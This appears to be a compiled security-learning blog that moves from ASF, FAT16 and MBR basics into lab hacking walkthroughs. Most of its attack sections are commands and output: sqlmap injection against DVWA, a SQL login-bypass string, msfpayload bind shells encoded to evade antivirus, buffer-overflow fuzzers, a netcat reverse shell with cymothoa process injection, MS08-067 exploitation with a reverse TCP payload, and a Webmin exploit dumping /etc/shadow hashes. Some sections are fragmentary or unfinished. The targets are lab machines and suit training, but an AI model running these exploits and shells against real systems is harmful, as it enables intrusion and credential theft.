ASF Files Structure

The Advanced Systems Format (ASF) is the file format used by Windows Media. Audio and/or Video content compressed with a wide variety of codecs can be stored in an ASF file and played back with the Windows Media Player (provided the appropriate codecs are installed), streamed with Windows Media Services or optionally packaged with Windows Media Rights Manager. ASF is an extensible file format designed to store synchronized multimedia data.

The base unit of organization for ASF files is called an object. An ASF file object contains the following data.

Data	Size
A GUID that identifies the object	128 bits
The size of the object	64-bits
Object data. The object data can contain other ASF objects	Varies

Magic Number

Magic numbers are common in programs across many operating systems. Magic numbers implement strongly typed data and are a form of in-band signaling to the controlling program that reads the data type(s) at program run-time. Many files have such constants that identify the contained data. Detecting such constants in files is a simple and effective way of distinguishing between many file format and can yield further run-time information

Unallocated Space

computer operating systems, such as Windows, allocate space on the hard drive as adjacent groups of sectors, known as allocation units, or clusters. When you create a new file, the operating system finds available space and allocates that space to the file. Unallocated space is space that is not allocated to active files within a file system.

The type of object that you can create in unallocated space depends on whether your hard disk is a basic disk, containing primary partitions, extended partitions and logical drives, or a dynamic disk, containing volumes that span multiple disks. In the case of a basic hard disk, you can use unallocated space outside an existing partition, or logical storage unit, to create a primary partition -- typically, the partition used to start the operating system -- or an extended partition. Similarly, you can use unallocated space inside an existing partition to create logical drives, or parts of the same physical disk that are managed as independent units.

Slack Space

Slack space is the unused space between the end of the actual file and the end of the the defined data unit (cluster).cluster is the smallest unit of storage that the operating system can deal with.

For example, assume that the OS uses a 4k cluster and 512 byte sector, meaning it writes data in 4k increments made up of eight 512 byte sectors, regardless of the actual size of the file being written. This means that if a 2000 byte file were written to this cluster the remaining 2096 bytes would be slack. Within this slack space there are two areas to consider – the first is that between the end of the actual file and the sector in which the file ends, and the second is the remaining sectors in the cluster that contain no data as depicted below.

File System Structured

FAT (File Allocation Table) system is a file system that uses a file allocation table structure as the way he operates. 

FAT 16 is a file system that use allocation unit have limit until 16-bit. so can save unit allocation until 65536. This file system has a capacity limit of up to 4 Gigabyte sizes only. Allocation unit size used by the FAT16 partition depends on the capacity that was about to be formatted: if the partition size is less than 16 megabytes, then Windows will use the FAT12 file system, and if the partition size larger than 16 megabytes, then Windows will use the FAT16 file system.  below is layout of FAT16

Introduction about MBR (Master Boot Record)

MBR is a small program which runs whenever a computer boots up. MBR is stored in the first sector of the boot disk. This very important sector contains a number of things that the Operating System and the computer BIOS need to start the system. If the contents of this sector are lost or damaged you can not access the data on the hard disk. Please note that each hard disk has a MBR, so if you have 2 or more hard disks in your computer, each has its own MBR. If multiple disks are configured as an array there is usually 1 MBR that services the entire array, placed on the 1st disk in the array . It should be clear that the MBR is one of the most important  sectors on your hard disk. The following explanation is mainly about using the MBR with Windows or DOS based operating systems. The MBR is somewhat different when used with Unix based systems.

The smallest addressable space on a hard disk is 512 bytes at a time. A hard disk sector is 512 bytes long, so 1 sector is the smallest addressable space on a hard disk. The MBR is 1 sector, so the MBR is 512 bytes long. These 512 bytes are divided into several parts that each have their own function in getting the computer to start. The 4 main parts of the MBR are (in the order as they appear in the MBR):

          1. the bootcode

          2. the volume byte

          3. the partition table 

          4. the signature bytes

The bootcode: this part of the MBR gets read by the computer BIOS when the computer is started. When the computer finishes its own startup procedures (getting the disks spinning, doing some checks) and gets ready to start the operating system, the bootcode in the MBR is read first. This allows the computer to interpret the rest of the MBR.

The volume bytes: these are 4 bytes that are located after the bootcode and just before the partition table. Windows 2000 and Windows XP use these 4 bytes to identify the mountable volumes on the hard disk. If these bytes are changed or erased from the MBR, Windows 2000/XP will go through a simple hardware detection round that will re-identify all the volumes on the disk. This is done during the next Windows startup after changing the volume bytes. Drive letters assigned to volumes might change after this. This goes for simple volumes, I have at this point no information on the effect of removing the volume bytes when using dynamic volumes.

The partition table: this is a sequence of 64 bytes (4 x 16) that identify the first 4 (or less) primary partitions on a hard disk. There is space for identifying 4 partitions. Each partition-identification is made up of 16 bytes that describe a number of things about the partition, such as: where it starts, what type it is, how big it is, is it an active partition or not, etc. One of these 4 partition descriptions can be used to describe an extended partition, which itself can then contain logical drives. The logical drives are not described in the MBR.
An active partition is the partition from which the Operating System is started. This must be a primary partition, and there can only be 1 primary partition active at any time.
If there are for instance only 2 partitions on a hard disk, the first 32 bytes of the partition table (2 x 16) would contain the descriptions of those partitions. The other 32 bytes would contain all zeros. So deleting a partition consists of putting zeros in the chosen partition description.

The signature bytes: these are 2 bytes that are used to signify an important sector. They can be found trailing the MBR, but there are other sectors that contain these bytes as well. If they are not trailing the MBR the computer will not be able to read the MBR (because it will not be recognized as an important sector).

Advance Web Hacking

this article is about web hacking, to practice i use DVWA (Damn Vulnerable Web Application) as victim, DVWA provide any web vulnerabilities. in this article i try to exploits command execution Vulnerability in DVWA.
firts open DVWA from your browser

Work With BeEF and Metasploits

this article is about exploits using BeEF( browser exploit framework)  and metasploits, in here i use xp sp3 (virtual box) as victim,first i make payload using metasploits

then  try send link to victim, thats link is go to webpage that contains beef inside of that pages. then run beef

work with metasploits and beef

this article is about exploitation using metasploits and beef, first exploits victim (xp-sp3) using metasploits

that i use payload vncinject/reverse_tcp,,, that is bad and risk,, so yo must wait the people have victim sleep,,,,

then i explore this system, i run  mozzila firefox then i set a homepage this browser

i set this home page with address where i put file with beef inside that,, because i not have may time because my vbox is error  i use file example from beef,,,
than run beef,,, and wait victim open mozilla firefox

then check on beef panel

  

timeout,,

i'll continued next time,,

Metasploits Auxiliary Modules

metasploits have any auxiliary modules, which one of them is ftp_versions, that is use to show the version of ftp  that running on target,, for use it like below :

first, run msfconcole
then run commands show auxiliary, it use to show all auxiliary modules

then run modules ftp_versions using command use scanner/ftp/ftp_versions,

 then run command show options, is show any option on module ftp_versions

that showing if ftp version required target address to identifier, and port of ftp on target, and thread, that have default setting port on 21 and threads 1
then set ip host of target, in here i use 192.168.56.101, that is ip host of xp in vbox in my computer.

then run

that result show version of ftp that run on target (192.168.56.101).

Social Engineering and Social Engineering Toolkit (SET)

Social  Engineering is the practice of learning and obtaining valuable information by exploiting human vulnerabilities, that is deceptions where a attacker to get information by request the information directly to the victim or other people have that informations. social engineering happends because we are social creatures and our nature makes us vulnerable to social engineering attacks. and that become weakest link in security defense on computer network system.

Social Engineering Toolkit is a packet that design to help doing social engineering, that help to prepare the most effective way of exploiting the client - side application vulnerabilities and make a fascinating attempt to capture the target's confidential information (for example, e-mail passwords). Some of the most efficient and useful attack methods employed by SET include, targeted phishing e-mails with a malicious file attachment, Java applet attacks, browser-based exploitation, gathering website credentials, creating infectious portable media , mass-mailer attacks, and other similar multi-attack web vectors. Thiscombination of attack methods provides a powerful platform to utilize and select the most persuasive technique that could perform an advanced attack against the human element.

MSFpayload and MFSencode

MSFpayload

The msfpayload is a component of Metasploit Framework, thats can use to generate shellcode, executables, and much more for use in exploits outside of the Framework. Shellcode can be generated in many formats including C, Ruby, JavaScript, and even Visual Basic for Applications.

example of the use msfpayload as below :

root@bt:/#msfpayload windows/shell_bind_tcp LPORT=4444 X > /sharefolder/evil.exe

this command is for make payload with type shell bind, this working when target run evil.exe file, attacker can run nc to open connection with the target.

metasploits have many type of payloads.

MSFencode

MSFencode is a component of matasploits framework, MSFencode is use to bypass bad charackter when we generate a payloads, also to bypass antivirus and IDS(intrustion detection system). because when we generate payload using msfpayloads, that result can include bad charackter, and that bad charackter can break your payloads. metasploits have any encoder
as shikata_ga_nai,etc.

for implementation of MSFencode as below :

that is make payload with type shell reverse and generate this payloads using shikata_ga_nai encoder.

Buffer Overflow Exploits - Linux

this article is about  step by step buffer overflow exploits in linux,,
firts turn of linux ASLR (Address Space Layout Randomization)

then make vulnerable applications

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]); // Vulnerable function
return 0;
}

Buffer Overflow Exploits - File Sharing Wizard

this article is about exploits buffer overflow in File Sharing Wizard, 

first i  use wireshark to sniff trafic data on File Transfer Wizard from backtrack to vbox

Exploits Big Ant Server

this article is about, what all i do to expoits big ant server, big ant server offers secure instant messaging, file transfer, voip, video chat, web conferencing and more.  and before you must know what is SEH and SafeSeh.because in this exploits associated with it SEH is a mechanism that owned a software and hardware in exception handling. exception will appear when an application try to execute code in the outside of normal code path and SafeSeh is a linker option that ussulay by proggramer when compile an aplication, its use  to keep register address of seh in the module.

Buffer Overflow Exploits - VUPlayer

this article is,, what all i do when  try to exploits VUPlayer,, first install VUPlayer in  virtual box, after finished install, i open VUPlayer to know about VUPlayer

Buffer Overflow Local Exploits

this article is about buffer overflow exploits, in this post i try to exploits rm-mp3 corventer. first i make a fuzzer with name mawarmerah.pls, its contain long url. script to make fuzzer as below:

#'/usr/bin/python

filename="malamterakhir.pls"

hancur='http://'

hancur+='\x41' * 35000;

file=open(filename,'w')

file.write(hancur)

print("hancurkan rek")

file.close()

installation warFTP

to install warftp you must have master program of warftp you can download in here

1. extract file warftp
2. klick setup.exe
3. choose your location to install

   

Fuzzing and Fuzzer

fuzzer is a tool used by security professionals (and professional hackers :) to test a parameter of an application. Typical fuzzers test an application for buffer overflows, format string vulnerabilities, and error handling. More advanced fuzzers incorporate functionality to test for directory traversal attacks, command execution vulnerabilities, SQL Injection and Cross Site Screpting vulnerabilities. Web Vulnerability scanners typically perform all of this functionality, and can be considered an advanced fuzzer. 

Buffer Overflow WarFTP Apllication

first make fuzzer aplication based on pyton using command :

#!/usr/bin/pyton
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x41"*1000
s.connect(('192.168.43.2',21))
data=s.recv(1024)
print("sendingevildatavia USER command...")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")


then run OllyDbg Aplication and open war-ftp.exe

olly debugger

   before i'am explain about olly debugger you mus know about debugger, debuger is a special program used to find errors (bugs) in other programs and ollydbg is one of tools of debugger.

     OllyDbg is an x86 debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces register, recognizes procedure , API calls,  switches, tables, constant and strings, as well as locates routines from object files and libraries

   OllyDbg is often used for reverse engginering of programs.It is often used by crackers to carck software made by other developers. For cracking and reverse engineering, it is often the primary tool because of its ease of use and availability. It is also useful for programmers to ensure that their program is running as intended.

Register Structured

registers is a part of processor memory which can be accessed at  high speeds acces and always used by microprosessor as an intermediary in do their work.


register is divided into

1. General Purpose Register
2. Pointer dan Index Register
3. Segmen Register
4. Flag Register

1. General Purpose Register

    it is 16 bit register consist of AX, BX, CX and DX

2. Pointer and Index Register

 a register which is used as a pointer (pointer) to a location in memory. in 16 bit consist of SP( Stack Pointer), BP       (Base Pointer), SI (source index) and DI (destination index), and IP (instruction pointer)

3. Segment Register

   is a 16-bit registers to  record  address as a bookmark data location in memory. consist of  SS ( Stack Segment), CS ( code segment), DS (data segment), and ES (extra segment).

4. Flag Register

  is a 1-bit register that indicates the condition of a state (yes / no or 0/1)

Information Gathering .....

click here to view the information gathering

nc using mkfifo

Netcat is an incredibly usefull tool, that allows you to play with tcp connection easily from the shell.
Basically, as it name implies, it’s just cat over the network, but what its name doesn’t tell you is that it also can act as a socket listener.
So let’s play with pipes, here is one of my favourite use of netcat:

  #mkfifo proxypipe

#

cat proxypipe | nc -l -p 80 | tee -a inflow | nc localhost 81 | tee -a outflow 1>proxypipe

This command will redirect traffic from localhost:80 to localhost:81, in the inflow file you while find the incoming http request, in the outfile, you will find the http response from the server.
Similarly, you can do this:

cat proxypipe | nc -l 80 | tee -a inflow | sed 's/^Host.*/Host: www.target.fr/' |  nc www.gtarget.fr 80 | tee -a outflow >proxypipe

bypassing username password in login form

first to practice,, open localhost/fbip on your browser

then type ' or '1'='1'# in form so admin page will be opened :

SQL injection in localhost/dvwa

first run localhost/dvwa on your browser :

then press menu sql injection, then in form input id input with 1, so dvwa will show as below :

then open sql map and type this command :
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=snncv5o9prk5au40rf5m30fjn2" --string="Surname" --dbs


below is a part of result from that command :

then type command :

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=snncv5o9prk5au40rf5m30fjn2" -D dvwa --tables

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 11:52:34

[11:52:34] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[11:52:34] [INFO] resuming injection data from session file
[11:52:34] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[11:52:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 1935=1935 AND 'vLTC'='vLTC&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3719 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,102,100,58),(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END)),CHAR(58,110,101,105,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Smid'='Smid&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT CONCAT(CHAR(58,98,102,100,58),IFNULL(CAST(CHAR(65,118,104,113,75,114,112,72,106,97) AS CHAR),CHAR(32)),CHAR(58,110,101,105,58)), NULL# AND 'Cbmh'='Cbmh&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'BJNX'='BJNX&Submit=Submit
---

[11:52:34] [INFO] manual usage of GET payloads requires url encoding
[11:52:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[11:52:34] [INFO] fetching tables for database: dvwa
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[11:52:35] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 11:52:35


then type this command :

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=snncv5o9prk5au40rf5m30fjn2" -T users -C user_id --dump

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 11:56:20

[11:56:20] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[11:56:20] [INFO] resuming injection data from session file
[11:56:20] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[11:56:20] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 1935=1935 AND 'vLTC'='vLTC&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3719 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,102,100,58),(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END)),CHAR(58,110,101,105,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Smid'='Smid&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT CONCAT(CHAR(58,98,102,100,58),IFNULL(CAST(CHAR(65,118,104,113,75,114,112,72,106,97) AS CHAR),CHAR(32)),CHAR(58,110,101,105,58)), NULL# AND 'Cbmh'='Cbmh&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'BJNX'='BJNX&Submit=Submit
---

[11:56:20] [INFO] manual usage of GET payloads requires url encoding
[11:56:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[11:56:20] [WARNING] missing database parameter, sqlmap is going to use the current database to enumerate table(s) entries
[11:56:20] [INFO] fetching current database
do you want to use LIKE operator to retrieve column names similar to the ones provided with the -C option? [Y/n] y
[11:56:23] [INFO] fetching columns LIKE 'user_id' for table 'users' on database 'dvwa'
[11:56:23] [INFO] fetching column(s) 'user_id' entries for table 'users' on database 'dvwa'
Database: dvwa
Table: users
[5 entries]
+---------+
| user_id |
+---------+
| 1       |
| 3       |
| 2       |
| 5       |
| 4       |
+---------+

[11:56:23] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/localhost/dump/dvwa/users.csv'
[11:56:23] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 11:56:23

What is TOR

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. Tor provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. 

Individuals use Tor to keep websites from tracking them and their family members, or to connect to news sites, instant messaging services, or the like when these are blocked by their local Internet providers. Tor's hidden service let users publish web sites and other services without needing to reveal the location of the site. Individuals also use Tor for socially sensitive communication: chat rooms and web forums for rape and abuse survivors, or people with illnesses. 

Journalists use Tor to communicate more safely with whistleblowers and dissidents. Non-governmental organizations (NGOs) use Tor to allow their workers to connect to their home website while they're in a foreign country, without notifying everybody nearby that they're working with that organization. 

Groups such as Indymedia recommend Tor for safeguarding their members' online privacy and security. Activist groups like the Electronic Frontier Foundation (EFF) recommend Tor as a mechanism for maintaining civil liberties online. Corporations use Tor as a safe way to conduct competitive analysis, and to protect sensitive procurement patterns from eavesdroppers. They also use it to replace traditional VPNs, which reveal the exact amount and timing of communication. Which locations have employees working late? Which locations have employees consulting job-hunting websites? Which research divisions are communicating with the company's patent lawyers? 

A branch of the U.S. Navy uses Tor for open source intelligence gathering, and one of its teams used Tor while deployed in the Middle East recently. Law enforcement uses Tor for visiting or surveilling web sites without leaving government IP addresses in their web logs, and for security during sting operations. 

The variety of people who use Tor is actually part of what make it so secure. Tor hides you among the other user on the network, so the more populous and diverse the user base for Tor is, the more your anonymity will be protected.

Google Hacking

         Google hacking is the use of a search engine, such as Google, to locate a security vulnerability on the Internet. There are generally two types of vulnerabilities to be found on the Web: software vulnerabilities and misconfigurations. Although there are some sophisticated intruders who target a specific system and try to discover vulnerabilities that will allow them access, the vast majority of intruders start out with a specific software vulnerability or common user misconfiguration that they already know how to exploit, and simply try to find or scan for systems that have this vulnerability. 

         Google is of limited use to the first attacker, but invaluable to the second.

When an attacker knows the sort of vulnerability he wants to exploit but has no specific target, he employs a scanner. A scanner is a program that automates the process of examining a massive quantity of systems for a security flaw. The earliest computer-related scanner, for example, was a war dialer; a program that would dial long lists of phone numbers and record which ones responded with a modem handshake.

About Shodan

SHODAN is a search engine that lets you find specific computers (routers, servers, etc.) using a variety of filters. Some have also described it as a public port scan directory or a search engine of banners.

shodan is different with google or bing, shodan is not search content of website but shodan searching a spicific computers. if you're interested in finding computers running a certain piece of software (such as Apache)? Or if you want to know which version of Microsoft IIS is the most popular? Or you want to see how many anonymous FTP servers there are? Maybe a new vulnerability came out and you want to see how many hosts it could infect? Traditional web search engines don't let you answer those questions, but shodan will be answer your question.

below is first interface if you open shodanhq.com

and below is result of searching using shodan

Injecting cymothoa to ubuntu

this is step by step to injecting cymothoa to ubuntu from backtrack with  using NC

first, configure NC in backtrack using command :

#nc -l -v -p 1934

then run nc on ubuntu using command :

#nc 192.168.43.1 1934 -e /bin/bash

then check if nc is connect using command #ls in backtrack
then check service that run on ubuntu

then select one of service that run to be injected with cymothoa, then type following command to injected cymothoa

#./cymothoa -p 1424 -s -0 -y 1934

Cracking Password Using John The Ripper

following is cracking password using john the ripper. John have 4 password cracking mode (wordlist mode, Singgle crack mode, incremental mode, externel mode). in here i will try to practice singgle crack mode and wordlist mode. i use file pasword.txt to save password to be cracked.

1. Singgle crack mode

root@bt:/pentest/passwords/john# john -si pasword.txt
Loaded 5 password hashes with 5 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:02 DONE (Tue Jan 31 09:15:30 2012)  c/s: 6229           trying: 999991900
root@bt:/pentest/passwords/john# john -show pasword.txt
0 password hashes cracked, 5 left

result show that password in pasword.txt cannot cracking.

2.wordlist crack mode

i use wordlist default from John the ripper.

root@bt:/pentest/passwords/john# john -w:password.lst  pasword.txt
Loaded 5 password hashes with 5 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:02 DONE (Tue Jan 31 09:36:01 2012)  c/s: 6392  trying: hallo
root@bt:/pentest/passwords/john# john -show pasword.txt
0 password hashes cracked, 5 left



result show that password in pasword.txt cannot cracking.

Privilege Escalation

this is step by step to privilege escalation

first,  information gathering using nmap :
host server 192.168.0.21

root@bt:~# nmap -v -A 192.168.0.21

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-01-31 06:23 BNT

NSE: Loaded 87 scripts for scanning.

NSE: Script Pre-scanning.

Initiating ARP Ping Scan at 06:23

Scanning 192.168.0.21 [1 port]

Completed ARP Ping Scan at 06:23, 0.08s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 06:23

Completed Parallel DNS resolution of 1 host. at 06:23, 13.00s elapsed

Initiating SYN Stealth Scan at 06:23

Scanning 192.168.0.21 [1000 ports]

Discovered open port 445/tcp on 192.168.0.21

Discovered open port 139/tcp on 192.168.0.21

Discovered open port 22/tcp on 192.168.0.21

Discovered open port 80/tcp on 192.168.0.21

Discovered open port 10000/tcp on 192.168.0.21

Completed SYN Stealth Scan at 06:23, 0.12s elapsed (1000 total ports)

Initiating Service scan at 06:23

Scanning 5 services on 192.168.0.21

Completed Service scan at 06:23, 11.03s elapsed (5 services on 1 host)

Initiating OS detection (try #1) against 192.168.0.21

NSE: Script scanning 192.168.0.21.

Initiating NSE at 06:23

Completed NSE at 06:23, 1.01s elapsed

Nmap scan report for 192.168.0.21

Host is up (0.00060s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)

| ssh-hostkey: 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)

|_2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)

80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Site doesn't have a title (text/html).

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

10000/tcp open http MiniServ 0.01 (Webmin httpd)

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

|_http-favicon: Unknown favicon MD5: 1F4BAEFFD3C738F5BEDC24B7B6B43285

MAC Address: 08:00:27:F9:C1:BB (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:kernel:2.6.22

OS details: Linux 2.6.22 (embedded, ARM)

Uptime guess: 0.061 days (since Tue Jan 31 04:56:12 2012)

then vulnerability assesment using nessus, result from nessus as below :

 

  

to view detail report, click here

then choose port 10000 which service webmin run to exploit using exploit db

root@bt:/pentest/exploits/exploitdb# ./searchsploit webmin

Description Path

--------------------------------------------------------------------------- -------------------------

Webmin BruteForce and Command Execution Exploit /multiple/remote/705.pl

Webmin Web Brute Force v1.5 (cgi-version) /multiple/remote/745.cgi

Webmin BruteForce + Command Execution v1.5 /multiple/remote/746.pl

Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit /multiple/remote/1997.php

Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl) /multiple/remote/2017.pl

phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability /php/webapps/2451.txt

phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability /php/webapps/2451.txt

phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities /php/webapps/2462.txt

phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities /php/webapps/2462.txt

phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities /php/webapps/2462.txt

root@bt:/pentest/exploits/exploitdb# perl platforms/multiple/remote/2017.pl

Usage: platforms/multiple/remote/2017.pl <url> <port> <filename> <target>

TARGETS are

0 - > HTTP

1 - > HTTPS

Define full path with file name

Example: ./webmin.pl blah.com 10000 /etc/passwd

open etc/shadow to knowing user of system

root@bt:/pentest/exploits/exploitdb# perl platforms/multiple/remote/2017.pl 192.168.0.21 10000 /etc/shadow 0

WEBMIN EXPLOIT !!!!! coded by UmZ!

Comments and Suggestions are welcome at umz32.dll [at] gmail.com

Vulnerability disclose at securitydot.net

I am just coding it in perl 'cuz I hate PHP!

Attacking 192.168.0.21 on port 10000!

FILENAME: /etc/shadow

FILE CONTENT STARTED

-----------------------------------

root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::

daemon:*:14040:0:99999:7:::

bin:*:14040:0:99999:7:::

sys:*:14040:0:99999:7:::

sync:*:14040:0:99999:7:::

games:*:14040:0:99999:7:::

man:*:14040:0:99999:7:::

lp:*:14040:0:99999:7:::

mail:*:14040:0:99999:7:::

news:*:14040:0:99999:7:::

uucp:*:14040:0:99999:7:::

proxy:*:14040:0:99999:7:::

www-data:*:14040:0:99999:7:::

backup:*:14040:0:99999:7:::

list:*:14040:0:99999:7:::

irc:*:14040:0:99999:7:::

gnats:*:14040:0:99999:7:::

nobody:*:14040:0:99999:7:::

dhcp:!:14040:0:99999:7:::

syslog:!:14040:0:99999:7:::

klog:!:14040:0:99999:7:::

mysql:!:14040:0:99999:7:::

sshd:!:14040:0:99999:7:::

vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::

obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::

osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::

yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

Exploit Windows Xp Sp3 Using Mfconsole

the following is step by step to exploits windows xp sp3 in vitual box on backtrack using mfconsole, before exploits search information gathering using zenmap or nmap to find guest address and service enumeration on it. in my case IP Adress from window xp Sp3 is 192.168.43.2
next do vulnerability assesment using  nessus, following result have 2 vunerallbilty in level high.

ms09-001

ms08-067

after we know vulner of target, then exploits using msfconsole.
first run mfsconsole

set the target to exploit using command

msf > use exploit/windows/smb/ms08_067_netapi

set IP address target (windows xp)

msf  exploit(ms08_067_netapi) > set RHOST 192.168.43.2
 HOST => 192.168.43.2

set type payload to exploits

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp

set  IP Address our workstation

msf  exploit(ms08_067_netapi) > set LHOST 192.168.43.1
LHOST => 192.168.43.1

run to exploits

msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.43.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.43.2
[*] Command shell session 1 opened (192.168.43.1:4444 -> 192.168.43.2:1041) at 2012-01-28 14:03:17 +0800

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


exploits success, we can handling windows xp sp3 from mfsconsole in bactrack.

Vulnerability Assesment using Nessus

1. first run nessus,
2. choose scans menu then press add
3. then fill the form add scan from name ( name of scanning) , type (type on scanning) choose run now , in policy choose internal network scan to scan the network, in scan target insert 192.168.0.0/24 to scan al live host in the network.
4. Press lounch scan
   
   
    
   
   
5. nessus will be scan  the network, wait until finished.
   
   
   
   
   
6. After finished choose menu report to view a result of scanning.
   
   
     
   
   
   from this report we can know, number of vulnerabilities from each host in the network. weakness of each divided into 3 level, high, medium and low. the following is detailed one of vulnerability in host 192.168.0.23
     
    
7. To view of detail report press download report menu
8. choose type of file which yo will save.
   
   
   to view detail report klik Click Here

Information Gathering

this article about informtion gathering from website www.is2c-dojo.net, www.is2c-dojo.com, www.spentera.com

1. information gathering from www.is2c-dojo.net

A. passive information gathering from www.is2c-dojo.net
     Gathering information From www.is2c-dojo.net using who.is website
     the following result :

IS2C-DOJO.NET SITE INFORMATION

IP: 72.14.204.121
IP Location: Mountain View, United States
Website Status: active
Server Type: GSE

 for complete information as below :

IS2C-DOJO.NET WHOIS

Updated: 4 hours ago
Registration Service Provided By: PARTNER IT
Contact: +62.2749570974

Domain Name: IS2C-DOJO.NET

Registrant:
    PrivacyProtect.org
    Domain Admin        (@privacyprotect.org)
    ID#10760, PO Box 16
